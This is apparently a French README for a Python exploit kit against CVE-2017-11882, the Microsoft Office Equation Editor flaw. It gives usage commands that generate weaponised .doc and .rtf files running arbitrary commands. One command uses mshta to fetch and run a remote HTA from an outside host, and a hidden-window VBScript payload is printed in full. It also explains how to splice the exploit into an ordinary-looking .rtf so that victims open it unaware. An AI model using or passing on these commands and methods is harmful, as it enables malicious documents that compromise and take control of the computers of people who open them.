
CVE-2017-11882 from https://github.com/embedi/CVE-2017-11882
43b Le script original provient de https://github.com/embedi/CVE-2017-11882
109b Le script original provient de https://github.com/unamer/CVE-2017-11882/ (un grand merci, le code d'unamer peut maintenant exécuter du shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Recherche : https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Analyse du correctif : https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
Exploitation de la démo PoC : https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
utilisation de mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
Les commandes de 43b ne peuvent pas dépasser 43 bytes, celles de 109b ne peuvent pas dépasser 109 bytes
Le dossier example contient un fichier .rtf qui exploite la vulnérabilité CVE-2017-11882 et exécute la calculatrice dans le système.
En fait, la méthode pour le contenu personnalisé a été apprise avec d'autres maîtres. J'avais déjà écrit un script il y a longtemps et je n'avais pas l'intention de le publier, mais voyant que quelqu'un dans le groupe l'avait déjà diffusé, je n'avais pas le choix. En réalité, c'est très simple : il suffit d'ouvrir un fichier .rtf normal avec un éditeur de texte, de copier tout le contenu avant {\*\datastore, puis de remplacer tout ce qui se trouve avant {\object\objautlink\objupdate. Il est donc très facile d'écrire un script pour cela.
Méthode d'ajout de contenu personnalisé, choisissez n'importe quel script :
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
Le contenu personnalisé se trouve dans input.rtf.
Quant au dernier script d'exploitation de 605 octets d'unamer, je ne le mets pas à jour ; si vous êtes intéressé, modifiez-le vous-même.